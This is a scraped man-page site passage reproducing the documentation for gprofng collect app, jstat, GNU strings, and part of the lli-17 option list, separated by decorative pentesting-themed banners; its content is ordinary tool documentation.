➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command x86_64-linux-gnu-gp-collect-app and provides detailed information about the command x86_64-linux-gnu-gp-collect-app, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the x86_64-linux-gnu-gp-collect-app.

NAME 🖥️ x86_64-linux-gnu-gp-collect-app 🖥️

collect-app - Collect performance data for the target application

SYNOPSIS

gprofng collect app [option(s)] target [target-option(s)]

DESCRIPTION

Collect performance data on the target program. In addition to Program Counter (PC) sampling, hardware event counters and various tracing options are supported.

For example, this command collects performance data for an executable called a.out and stores the data collected in an experiment directory with the name example.er.

$ gprofng collect app -o example.er ./a.out

OPTIONS

–version
Print the version number and exit.

–help
Print usage information and exit.

-v, –verbose
By default, verbose mode is disabled. This option enables it.

-p {off | on | lo[w] | hi[gh] | <value>}
Disable (off) or enable (on) clock profiling using a default sampling granularity, or enable clock profiling implicitly by setting the sampling granularity (lo[w], hi[gh], or a specific value in ms). By default, clock profiling is enabled (-p on).

-h <ctr_def>[,<ctr_def>]
Enable hardware event counter profiling and select one or more counter(s). To see the supported counters on this system, use the -h option without other arguments.

-o <exp_name>
Specify the name for the experiment directory. The name has to end with .er and may contain an absolute path (e.g. /tmp/experiment.er). An existing experiment with the same name will not be overwritten.

-O <exp_name>
This is the same as the -o option, but unlike this option, silently overwrites an existing experiment directory with the same name.

-C <comment_string>
Add up to 10 comment strings to the experiment. These comments appear in the notes section of the header and can be retrieved with the gprofng display text command using the -header option.

-j {on | off | <path>}
Controls Java profiling when the target is a JVM machine. The allowed values for this option are:

on
Record profiling data for the JVM machine, and recognize methods compiled by the Java HotSpot virtual machine. Also record Java call stacks.

off
Do not record Java profiling data. Profiling data for native call stacks is still recorded.

<path>
Records profiling data for the JVM, and use the JVM as installed in <path>.

The default is -j on.

-J <jvm-option(s)>
Specifies one or more additional options to be passed to the JVM used. The jvm-option(s) list must be enclosed in quotation marks if it contains more than one option. The items in the list need to be separated by spaces or tabs. Each item is passed as a separate option to the JVM. Note that this option implies -j on.

-t <duration>[m|s]
Collects data for the specified duration. The duration can be a single number, optionally followed by either m to specify minutes, or s to specify seconds, which is the default. The duration can also consists of two numbers separated by a minus (-) sign. If a single number is given, data is collected from the start of the run until the given time. If two numbers are given, data is collected from the first time to the second. In case the second time is zero, data is collected until the end of the run. If two non-zero numbers are given, the first must be less than the second.

-n
This is used for a dry run. Several run-time settings are displayed, but the target is not executed and no performance data is collected.

-F {off|on|=regex}
Control whether descendant processes should have their data recorded. To disable/enable this feature, use off/on. Use **=**regex to record data on those processes whose executable name matches the regular expression. Only the basename of the executable is used, not the full path. If spaces or characters interpreted by the shell are used, enclose the regex in single quotes. The default is -F on.

-a {off|on|ldobjects|src|usedldobjects|usedsrc}
Specify archiving of binaries and other files. In addition to disable this feature (off), or enable archiving off all loadobjects and sources (on), the other options support a more refined selection. All of these options enable archiving, but the keyword controls what exactly is selected: all load objects (ldobjects), all source files (src), the loadobjects asscoiated with a program counter (usedldobjects), or the source files associated with a program counter (usedsrc). The default is -a ldobjects.

-S {off|on|<seconds>}
Disable (off), or enable (on) periodic sampling of process-wide resource utilization. By default, sampling occurs every second. Use the <seconds> option to change this. The default is -S on.

-y <signal>[,r]
Controls recording of data with the signal named <signal>, referred to as the pause-resume signal. Whenever the given signal is delivered to the process, switch between paused (no data is recorded) and resumed (data is recorded) states. By default, data collection begins in the paused state. If the optional r is given, data collection begins in the resumed state and data collection begins immediately. SIGUSR1 or SIGUSR2 are recommended for this use, but any signal that is not used by the target can be used.

-l <signal>
Specify a signal that will trigger a sample of process-wide resource utilization. When the named <signal> is delivered to the process, a sample is recorded. The signal can be specified using the full name, without the initial letters SIG, or the signal number. Note that the kill command can be used to deliver a signal. If both the -l and -y options are used, the signal must be different.

-s <option>[,<API>]
Enable synchronization wait tracing, where <option> is used to define the specifics of the tracing (on, off, <threshold>, or all). The API is selected through the setting for <API>: n selects native/Pthreads, j selects Java, and nj selects both. The default is -s off.

-H {off|on}
Disable (off), or enable (on) heap tracing. The default is -H off.

-i {off|on}
Disable (off), or enable (on) I/O tracing. The default is -i off.

NOTES

Any executable in the ELF (Executable and Linkable Format) object format can be used for profiling with gprofng. If debug information is available, gprofng can provide more details, but this is not a requirement.

SEE ALSO

gprofng (1), gp-archive (1), gp-display-gui (1), gp-display-html (1), gp-display-src (1), gp-display-text (1)

The user guide for gprofng is maintained as a Texinfo manual. If the info and gprofng programs are correctly installed, the command info gprofng should give access to this document.

COPYRIGHT

Copyright (c) 2022-2024 Free Software Foundation, Inc.

Permission is granted to copy, distribute and/or modify this document under the terms of the GNU Free Documentation License, Version 1.3 or any later version published by the Free Software Foundation; with no Invariant Sections, with no Front-Cover Texts, and with no Back-Cover Texts. A copy of the license is included in the section entitled “GNU Free Documentation License”.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1550 - Linux cli command jstat

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command jstat and provides detailed information about the command jstat, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the jstat.

NAME 🖥️ jstat 🖥️

monitor JVM statistics

SYNOPSIS

Note: This command is experimental and unsupported.

jstat generalOptions

jstat outputOptions [-t] [-h lines] vmid [interval [count]]

generalOptions
A single general command-line option. See General Options.

outputOptions
An option reported by the -options option. One or more output options that consist of a single statOption, plus any of the -t, -h, and -J options. See Output Options for the jstat Command.

-t
Displays a time-stamp column as the first column of output. The time stamp is the time since the start time of the target JVM.

-h n
Displays a column header every n samples (output rows), where n is a positive integer. The default value is 0, which displays the column header of the first row of data.

vmid
A virtual machine identifier, which is a string that indicates the target JVM. See Virtual Machine Identifier.

interval
The sampling interval in the specified units, seconds (s) or milliseconds (ms). Default units are milliseconds. This must be a positive integer. When specified, the jstat command produces its output at each interval.

count
The number of samples to display. The default value is infinity, which causes the jstat command to display statistics until the target JVM terminates or the jstat command is terminated. This value must be a positive integer.

DESCRIPTION

The jstat command displays performance statistics for an instrumented Java HotSpot VM. The target JVM is identified by its virtual machine identifier, or vmid option.

The jstat command supports two types of options, general options and output options. General options cause the jstat command to display simple usage and version information. Output options determine the content and format of the statistical output.

All options and their functionality are subject to change or removal in future releases.

GENERAL OPTIONS

If you specify one of the general options, then you can’t specify any other option or parameter.

-help
Displays a help message.

-options
Displays a list of static options. See Output Options for the jstat Command.

OUTPUT OPTIONS FOR THE JSTAT COMMAND

If you don’t specify a general option, then you can specify output options. Output options determine the content and format of the jstat command’s output, and consist of a single statOption, plus any of the other output options (-h, -t, and -J). The statOption must come first.

Output is formatted as a table, with columns that are separated by spaces. A header row with titles describes the columns. Use the -h option to set the frequency at which the header is displayed. Column header names are consistent among the different options. In general, if two options provide a column with the same name, then the data source for the two columns is the same.

Use the -t option to display a time-stamp column, labeled Timestamp as the first column of output. The Timestamp column contains the elapsed time, in seconds, since the target JVM started. The resolution of the time stamp is dependent on various factors and is subject to variation due to delayed thread scheduling on heavily loaded systems.

Use the interval and count parameters to determine how frequently and how many times, respectively, the jstat command displays its output.

Note:

Don’t write scripts to parse the jstat command’s output because the format might change in future releases. If you write scripts that parse the jstat command output, then expect to modify them for future releases of this tool.

-statOption
Determines the statistics information that the jstat command displays. The following lists the available options. Use the -options general option to display the list of options for a particular platform installation. See Stat Options and Output.

class: Displays statistics about the behavior of the class loader.

compiler: Displays statistics about the behavior of the Java HotSpot VM Just-in-Time compiler.

gc: Displays statistics about the behavior of the garbage collected heap.

gccapacity: Displays statistics about the capacities of the generations and their corresponding spaces.

gccause: Displays a summary about garbage collection statistics (same as -gcutil), with the cause of the last and current (when applicable) garbage collection events.

gcnew: Displays statistics about the behavior of the new generation.

gcnewcapacity: Displays statistics about the sizes of the new generations and their corresponding spaces.

gcold: Displays statistics about the behavior of the old generation and metaspace statistics.

gcoldcapacity: Displays statistics about the sizes of the old generation.

gcmetacapacity: Displays statistics about the sizes of the metaspace.

gcutil: Displays a summary about garbage collection statistics.

printcompilation: Displays Java HotSpot VM compilation method statistics.

****-JjavaOption
Passes javaOption to the Java application launcher. For example, -J-Xms48m sets the startup memory to 48 MB. For a complete list of options, see java.

STAT OPTIONS AND OUTPUT

The following information summarizes the columns that the jstat command outputs for each statOption.

-class option
Class loader statistics.

Loaded: Number of classes loaded.

Bytes: Number of KB loaded.

Unloaded: Number of classes unloaded.

Bytes: Number of KB unloaded.

Time: Time spent performing class loading and unloading operations.

-compiler option
Java HotSpot VM Just-in-Time compiler statistics.

Compiled: Number of compilation tasks performed.

Failed: Number of compilations tasks failed.

Invalid: Number of compilation tasks that were invalidated.

Time: Time spent performing compilation tasks.

FailedType: Compile type of the last failed compilation.

FailedMethod: Class name and method of the last failed compilation.

-gc option
Garbage collected heap statistics.

S0C: Current survivor space 0 capacity (KB).

S1C: Current survivor space 1 capacity (KB).

S0U: Survivor space 0 utilization (KB).

S1U: Survivor space 1 utilization (KB).

EC: Current eden space capacity (KB).

EU: Eden space utilization (KB).

OC: Current old space capacity (KB).

OU: Old space utilization (KB).

MC: Metaspace Committed Size (KB).

MU: Metaspace utilization (KB).

CCSC: Compressed class committed size (KB).

CCSU: Compressed class space used (KB).

YGC: Number of young generation garbage collection (GC) events.

YGCT: Young generation garbage collection time.

FGC: Number of full GC events.

FGCT: Full garbage collection time.

GCT: Total garbage collection time.

-gccapacity option
Memory pool generation and space capacities.

NGCMN: Minimum new generation capacity (KB).

NGCMX: Maximum new generation capacity (KB).

NGC: Current new generation capacity (KB).

S0C: Current survivor space 0 capacity (KB).

S1C: Current survivor space 1 capacity (KB).

EC: Current eden space capacity (KB).

OGCMN: Minimum old generation capacity (KB).

OGCMX: Maximum old generation capacity (KB).

OGC: Current old generation capacity (KB).

OC: Current old space capacity (KB).

MCMN: Minimum metaspace capacity (KB).

MCMX: Maximum metaspace capacity (KB).

MC: Metaspace Committed Size (KB).

CCSMN: Compressed class space minimum capacity (KB).

CCSMX: Compressed class space maximum capacity (KB).

CCSC: Compressed class committed size (KB).

YGC: Number of young generation GC events.

FGC: Number of full GC events.

-gccause option
This option displays the same summary of garbage collection statistics as the -gcutil option, but includes the causes of the last garbage collection event and (when applicable), the current garbage collection event. In addition to the columns listed for -gcutil, this option adds the following columns:

LGCC: Cause of last garbage collection

GCC: Cause of current garbage collection

-gcnew option
New generation statistics.

S0C: Current survivor space 0 capacity (KB).

S1C: Current survivor space 1 capacity (KB).

S0U: Survivor space 0 utilization (KB).

S1U: Survivor space 1 utilization (KB).

TT: Tenuring threshold.

MTT: Maximum tenuring threshold.

DSS: Desired survivor size (KB).

EC: Current eden space capacity (KB).

EU: Eden space utilization (KB).

YGC: Number of young generation GC events.

YGCT: Young generation garbage collection time.

-gcnewcapacity option
New generation space size statistics.

NGCMN: Minimum new generation capacity (KB).

NGCMX: Maximum new generation capacity (KB).

NGC: Current new generation capacity (KB).

S0CMX: Maximum survivor space 0 capacity (KB).

S0C: Current survivor space 0 capacity (KB).

S1CMX: Maximum survivor space 1 capacity (KB).

S1C: Current survivor space 1 capacity (KB).

ECMX: Maximum eden space capacity (KB).

EC: Current eden space capacity (KB).

YGC: Number of young generation GC events.

FGC: Number of full GC events.

-gcold option
Old generation size statistics.

MC: Metaspace Committed Size (KB).

MU: Metaspace utilization (KB).

CCSC: Compressed class committed size (KB).

CCSU: Compressed class space used (KB).

OC: Current old space capacity (KB).

OU: Old space utilization (KB).

YGC: Number of young generation GC events.

FGC: Number of full GC events.

FGCT: Full garbage collection time.

GCT: Total garbage collection time.

-gcoldcapacity option
Old generation statistics.

OGCMN: Minimum old generation capacity (KB).

OGCMX: Maximum old generation capacity (KB).

OGC: Current old generation capacity (KB).

OC: Current old space capacity (KB).

YGC: Number of young generation GC events.

FGC: Number of full GC events.

FGCT: Full garbage collection time.

GCT: Total garbage collection time.

-gcmetacapacity option
Metaspace size statistics.

MCMN: Minimum metaspace capacity (KB).

MCMX: Maximum metaspace capacity (KB).

MC: Metaspace Committed Size (KB).

CCSMN: Compressed class space minimum capacity (KB).

CCSMX: Compressed class space maximum capacity (KB).

YGC: Number of young generation GC events.

FGC: Number of full GC events.

FGCT: Full garbage collection time.

GCT: Total garbage collection time.

-gcutil option
Summary of garbage collection statistics.

S0: Survivor space 0 utilization as a percentage of the space’s current capacity.

S1: Survivor space 1 utilization as a percentage of the space’s current capacity.

E: Eden space utilization as a percentage of the space’s current capacity.

O: Old space utilization as a percentage of the space’s current capacity.

M: Metaspace utilization as a percentage of the space’s current capacity.

CCS: Compressed class space utilization as a percentage.

YGC: Number of young generation GC events.

YGCT: Young generation garbage collection time.

FGC: Number of full GC events.

FGCT: Full garbage collection time.

GCT: Total garbage collection time.

-printcompilation option
Java HotSpot VM compiler method statistics.

Compiled: Number of compilation tasks performed by the most recently compiled method.

Size: Number of bytes of byte code of the most recently compiled method.

Type: Compilation type of the most recently compiled method.

Method: Class name and method name identifying the most recently compiled method. Class name uses a slash (/) instead of a dot (.) as a name space separator. The method name is the method within the specified class. The format for these two fields is consistent with the HotSpot -XX:+PrintCompilation option.

VIRTUAL MACHINE IDENTIFIER

The syntax of the vmid string corresponds to the syntax of a URI:

[protocol**:][//]lvmid[@hostname[:port][/**servername]

The syntax of the vmid string corresponds to the syntax of a URI. The vmid string can vary from a simple integer that represents a local JVM to a more complex construction that specifies a communications protocol, port number, and other implementation-specific values.

protocol
The communications protocol. If the protocol value is omitted and a host name isn’t specified, then the default protocol is a platform-specific optimized local protocol. If the protocol value is omitted and a host name is specified, then the default protocol is rmi.

lvmid
The local virtual machine identifier for the target JVM. The lvmid is a platform-specific value that uniquely identifies a JVM on a system. The lvmid is the only required component of a virtual machine identifier. The lvmid is typically, but not necessarily, the operating system’s process identifier for the target JVM process. You can use the jps command to determine the lvmid provided the JVM processes is not running in a separate docker instance. You can also determine the lvmid on Linux and OS X platforms with the ps command, and on Windows with the Windows Task Manager.

hostname
A host name or IP address that indicates the target host. If the hostname value is omitted, then the target host is the local host.

port
The default port for communicating with the remote server. If the hostname value is omitted or the protocol value specifies an optimized, local protocol, then the port value is ignored. Otherwise, treatment of the port parameter is implementation-specific. For the default rmi protocol, the port value indicates the port number for the rmiregistry on the remote host. If the port value is omitted and the protocol value indicates rmi, then the default rmiregistry port (1099) is used.

servername
The treatment of the servername parameter depends on implementation. For the optimized local protocol, this field is ignored. For the rmi protocol, it represents the name of the RMI remote object on the remote host.

EXAMPLES

This section presents some examples of monitoring a local JVM with an lvmid of 21891.

THE GCUTIL OPTION

This example attaches to lvmid 21891 and takes 7 samples at 250 millisecond intervals and displays the output as specified by the -gcutil option.

The output of this example shows that a young generation collection occurred between the third and fourth sample. The collection took 0.078 seconds and promoted objects from the eden space (E) to the old space (O), resulting in an increase of old space utilization from 66.80% to 68.19%. Before the collection, the survivor space was 97.02% utilized, but after this collection it’s 91.03% utilized.

jstat -gcutil 21891 250 7
  S0     S1     E      O      M     CCS    YGC     YGCT    FGC    FGCT     GCT
  0.00  97.02  70.31  66.80  95.52  89.14      7    0.300     0    0.000    0.300
  0.00  97.02  86.23  66.80  95.52  89.14      7    0.300     0    0.000    0.300
  0.00  97.02  96.53  66.80  95.52  89.14      7    0.300     0    0.000    0.300
 91.03   0.00   1.98  68.19  95.89  91.24      8    0.378     0    0.000    0.378
 91.03   0.00  15.82  68.19  95.89  91.24      8    0.378     0    0.000    0.378
 91.03   0.00  17.80  68.19  95.89  91.24      8    0.378     0    0.000    0.378
 91.03   0.00  17.80  68.19  95.89  91.24      8    0.378     0    0.000    0.378

REPEAT THE COLUMN HEADER STRING

This example attaches to lvmid 21891 and takes samples at 250 millisecond intervals and displays the output as specified by -gcnew option. In addition, it uses the -h3 option to output the column header after every 3 lines of data.

In addition to showing the repeating header string, this example shows that between the second and third samples, a young GC occurred. Its duration was 0.001 seconds. The collection found enough active data that the survivor space 0 utilization (S0U) would have exceeded the desired survivor size (DSS). As a result, objects were promoted to the old generation (not visible in this output), and the tenuring threshold (TT) was lowered from 31 to 2.

Another collection occurs between the fifth and sixth samples. This collection found very few survivors and returned the tenuring threshold to 31.

jstat -gcnew -h3 21891 250
 S0C    S1C    S0U    S1U   TT MTT  DSS      EC       EU     YGC     YGCT
  64.0   64.0    0.0   31.7 31  31   32.0    512.0    178.6    249    0.203
  64.0   64.0    0.0   31.7 31  31   32.0    512.0    355.5    249    0.203
  64.0   64.0   35.4    0.0  2  31   32.0    512.0     21.9    250    0.204
 S0C    S1C    S0U    S1U   TT MTT  DSS      EC       EU     YGC     YGCT
  64.0   64.0   35.4    0.0  2  31   32.0    512.0    245.9    250    0.204
  64.0   64.0   35.4    0.0  2  31   32.0    512.0    421.1    250    0.204
  64.0   64.0    0.0   19.0 31  31   32.0    512.0     84.4    251    0.204
 S0C    S1C    S0U    S1U   TT MTT  DSS      EC       EU     YGC     YGCT
  64.0   64.0    0.0   19.0 31  31   32.0    512.0    306.7    251    0.204

INCLUDE A TIME STAMP FOR EACH SAMPLE

This example attaches to lvmid 21891 and takes 3 samples at 250 millisecond intervals. The -t option is used to generate a time stamp for each sample in the first column.

The Timestamp column reports the elapsed time in seconds since the start of the target JVM. In addition, the -gcoldcapacity output shows the old generation capacity (OGC) and the old space capacity (OC) increasing as the heap expands to meet allocation or promotion demands. The old generation capacity (OGC) has grown from 11,696 KB to 13,820 KB after the eighty-first full garbage collection (FGC). The maximum capacity of the generation (and space) is 60,544 KB (OGCMX), so it still has room to expand.

Timestamp      OGCMN    OGCMX     OGC       OC       YGC   FGC    FGCT    GCT
          150.1   1408.0  60544.0  11696.0  11696.0   194    80    2.874   3.799
          150.4   1408.0  60544.0  13820.0  13820.0   194    81    2.938   3.863
          150.7   1408.0  60544.0  13820.0  13820.0   194    81    2.938   3.863

MONITOR INSTRUMENTATION FOR A REMOTE JVM

This example attaches to lvmid 40496 on the system named remote.domain using the -gcutil option, with samples taken every second indefinitely.

The lvmid is combined with the name of the remote host to construct a vmid of [email protected]. This vmid results in the use of the rmi protocol to communicate to the default jstatd server on the remote host. The jstatd server is located using the rmiregistry command on remote.domain that’s bound to the default port of the rmiregistry command (port 1099).

jstat -gcutil [email protected] 1000
... output omitted
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1551 - Linux cli command strings

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command strings and provides detailed information about the command strings, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the strings.

NAME 🖥️ strings 🖥️

print the sequences of printable characters in files

SYNOPSIS

strings [-afovV] [-min-len] [-n min-len] [–bytes=min-len] [-t radix] [–radix=radix] [-e encoding] [–encoding=encoding] [-U method] [–unicode=method] [-] [–all] [–print-file-name] [-T bfdname] [–target=bfdname] [-w] [–include-all-whitespace] [-s] [–output-separator sep_string] [–help] [–version] file

DESCRIPTION

For each file given, GNU strings prints the printable character sequences that are at least 4 characters long (or the number given with the options below) and are followed by an unprintable character.

Depending upon how the strings program was configured it will default to either displaying all the printable sequences that it can find in each file, or only those sequences that are in loadable, initialized data sections. If the file type is unrecognizable, or if strings is reading from stdin then it will always display all of the printable sequences that it can find.

For backwards compatibility any file that occurs after a command-line option of just - will also be scanned in full, regardless of the presence of any -d option.

strings is mainly useful for determining the contents of non-text files.

OPTIONS

-a

–all

Scan the whole file, regardless of what sections it contains or whether those sections are loaded or initialized. Normally this is the default behaviour, but strings can be configured so that the -d is the default instead. The - option is position dependent and forces strings to perform full scans of any file that is mentioned after the - on the command line, even if the -d option has been specified.

-d

–data

Only print strings from initialized, loaded data sections in the file. This may reduce the amount of garbage in the output, but it also exposes the strings program to any security flaws that may be present in the BFD library used to scan and load sections. Strings can be configured so that this option is the default behaviour. In such cases the -a option can be used to avoid using the BFD library and instead just print all of the strings found in the file.

-f

–print-file-name

Print the name of the file before each string.

–help
Print a summary of the program usage on the standard output and exit.

-min-len

-n min-len

–bytes=min-len

Print sequences of displayable characters that are at least min-len characters long. If not specified a default minimum length of 4 is used. The distinction between displayable and non-displayable characters depends upon the setting of the -e and -U options. Sequences are always terminated at control characters such as new-line and carriage-return, but not the tab character.

-o
Like -t o. Some other versions of strings have -o act like -t d instead. Since we can not be compatible with both ways, we simply chose one.

-t radix

–radix=radix

Print the offset within the file before each string. The single character argument specifies the radix of the offset—o for octal, x for hexadecimal, or d for decimal.

-e encoding

–encoding=encoding

Select the character encoding of the strings that are to be found. Possible values for encoding are: s = single-7-bit-byte characters (default), S = single-8-bit-byte characters, b = 16-bit bigendian, l = 16-bit littleendian, B = 32-bit bigendian, L = 32-bit littleendian. Useful for finding wide character strings. (l and b apply to, for example, Unicode UTF-16/UCS-2 encodings).

-U [d|i|l|e|x|h]

–unicode=[default|invalid|locale|escape|hex|highlight]

Controls the display of UTF-8 encoded multibyte characters in strings. The default (–unicode=default) is to give them no special treatment, and instead rely upon the setting of the –encoding option. The other values for this option automatically enable –encoding=S. The –unicode=invalid option treats them as non-graphic characters and hence not part of a valid string. All the remaining options treat them as valid string characters. The –unicode=locale option displays them in the current locale, which may or may not support UTF-8 encoding. The –unicode=hex option displays them as hex byte sequences enclosed between <> characters. The –unicode=escape option displays them as escape sequences (\uxxxx) and the –unicode=highlight option displays them as escape sequences highlighted in red (if supported by the output device). The colouring is intended to draw attention to the presence of unicode sequences where they might not be expected.

-T bfdname

–target=bfdname

Specify an object code format other than your system’s default format.

-v

-V

–version

Print the program version number on the standard output and exit.

-w

–include-all-whitespace

By default tab and space characters are included in the strings that are displayed, but other whitespace characters, such a newlines and carriage returns, are not. The -w option changes this so that all whitespace characters are considered to be part of a string.

-s

–output-separator

By default, output strings are delimited by a new-line. This option allows you to supply any string to be used as the output record separator. Useful with –include-all-whitespace where strings may contain new-lines internally.

  1. Read command-line options from file. The options read are inserted in place of the original @file option. If file does not exist, or cannot be read, then the option will be treated literally, and not removed. Options in file are separated by whitespace. A whitespace character may be included in an option by surrounding the entire option in either single or double quotes. Any character (including a backslash) may be included by prefixing the character to be included with a backslash. The file may itself contain additional @file options; any such options will be processed recursively.

SEE ALSO

ar (1), nm (1), objdump (1), ranlib (1), readelf (1) and the Info entries for binutils.

COPYRIGHT

Copyright (c) 1991-2024 Free Software Foundation, Inc.

Permission is granted to copy, distribute and/or modify this document under the terms of the GNU Free Documentation License, Version 1.3 or any later version published by the Free Software Foundation; with no Invariant Sections, with no Front-Cover Texts, and with no Back-Cover Texts. A copy of the license is included in the section entitled “GNU Free Documentation License”.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1552 - Linux cli command lli-17

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command lli-17 and provides detailed information about the command lli-17, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the lli-17.

NAME 🖥️ lli-17 🖥️

manual page for lli 17

DESCRIPTION

OVERVIEW: llvm interpreter & dynamic compiler

USAGE: lli [options] <input bitcode> <program arguments>…

OPTIONS:

Color Options:

–color - Use colors in output (default=autodetect)

General options:

-O <char> - Optimization level. [-O0, -O1, -O2, or -O3] (default = ‘-O2’)

–aarch64-neon-syntax=<value> - Choose style of NEON code to emit from AArch64 backend:

=generic
- Emit generic NEON assembly

=apple
- Emit Apple-style NEON assembly

–aarch64-use-aa - Enable the use of AA during codegen.

–abort-on-max-devirt-iterations-reached - Abort when the max iterations for devirtualization CGSCC repeat pass is reached

–addrsig - Emit an address-significance table

–align-loops=<uint> - Default alignment for loops

–allow-ginsert-as-artifact - Allow G_INSERT to be considered an artifact. Hack around AMDGPU test infinite loops.

–amdgpu-atomic-optimizer-strategy=<value> - Select DPP or Iterative strategy for scan

=DPP
- Use DPP operations for scan

=Iterative
- Use Iterative approach for scan

=None
- Disable atomic optimizer

–amdgpu-bypass-slow-div - Skip 64-bit divide for dynamic 32-bit values

–amdgpu-disable-loop-alignment - Do not align and prefetch loops

–amdgpu-dpp-combine - Enable DPP combiner

–amdgpu-dump-hsa-metadata - Dump AMDGPU HSA Metadata

–amdgpu-enable-merge-m0 - Merge and hoist M0 initializations

–amdgpu-enable-power-sched - Enable scheduling to minimize mAI power bursts

–amdgpu-promote-alloca-to-vector-limit=<uint> - Maximum byte size to consider promote alloca to vector

–amdgpu-sdwa-peephole - Enable SDWA peepholer

–amdgpu-use-aa-in-codegen - Enable the use of AA during codegen.

–amdgpu-verify-hsa-metadata - Verify AMDGPU HSA Metadata

–amdgpu-vgpr-index-mode - Use GPR indexing mode instead of movrel for vector indexing

–arm-add-build-attributes -

–arm-implicit-it=<value> - Allow conditional instructions outdside of an IT block

=always
- Accept in both ISAs, emit implicit ITs in Thumb

=never
- Warn in ARM, reject in Thumb

=arm
- Accept in ARM, reject in Thumb

=thumb
- Warn in ARM, emit implicit ITs in Thumb

–asm-show-inst - Emit internal instruction representation to assembly file

–atomic-counter-update-promoted - Do counter update using atomic fetch add
for promoted counters only

–atomic-first-counter - Use atomic fetch add for first counter in a function (usually the entry counter)

–basic-block-sections=<all | <function list (file)> | labels | none> - Emit basic blocks into separate sections

–bounds-checking-single-trap - Use one trap block per function

–bpf-stack-size=<int> - Specify the BPF stack size limit

–cfg-hide-cold-paths=<number> - Hide blocks with relative frequency below the given value

–cfg-hide-deoptimize-paths -

–cfg-hide-unreachable-paths -

–code-model=<value> - Choose code model

=tiny
- Tiny code model

=small
- Small code model

=kernel
- Kernel code model

=medium
- Medium code model

=large
- Large code model

–compile-threads=<uint> - Choose the number of compile threads (jit-kind=orc-lazy only)

–cost-kind=<value> - Target cost kind

=throughput
- Reciprocal throughput

=latency
- Instruction latency

=code-size
- Code size

=size-latency
- Code size and latency

–cs-profile-generate - Perform context sensitive PGO instrumentation

–cs-profile-path=<string> - Context sensitive profile file path

–data-sections - Emit data into separate sections

–debug-entry-values - Enable debug info for the debug entry values.

–debug-info-correlate - Use debug info to correlate profiles.

–debugger-tune=<value> - Tune debug info for a particular debugger

=gdb
- gdb

=lldb
- lldb

=dbx
- dbx

=sce
- SCE targets (e.g. PS4)

–debugify-func-limit=<ulong> - Set max number of processed functions per pass.

–debugify-level=<value> - Kind of debug info to add

=locations
- Locations only

=location+variables
- Locations and Variables

–debugify-quiet - Suppress verbose debugify output

–denormal-fp-math=<value> - Select which denormal numbers the code is permitted to require

=ieee
- IEEE 754 denormal numbers

=preserve-sign
- the sign of a flushed-to-zero number is preserved in the sign of 0

=positive-zero
- denormals are flushed to positive zero

=dynamic
- denormals have unknown treatment

–denormal-fp-math-f32=<value> - Select which denormal numbers the code is permitted to require for float

=ieee
- IEEE 754 denormal numbers

=preserve-sign
- the sign of a flushed-to-zero number is preserved in the sign of 0

=positive-zero
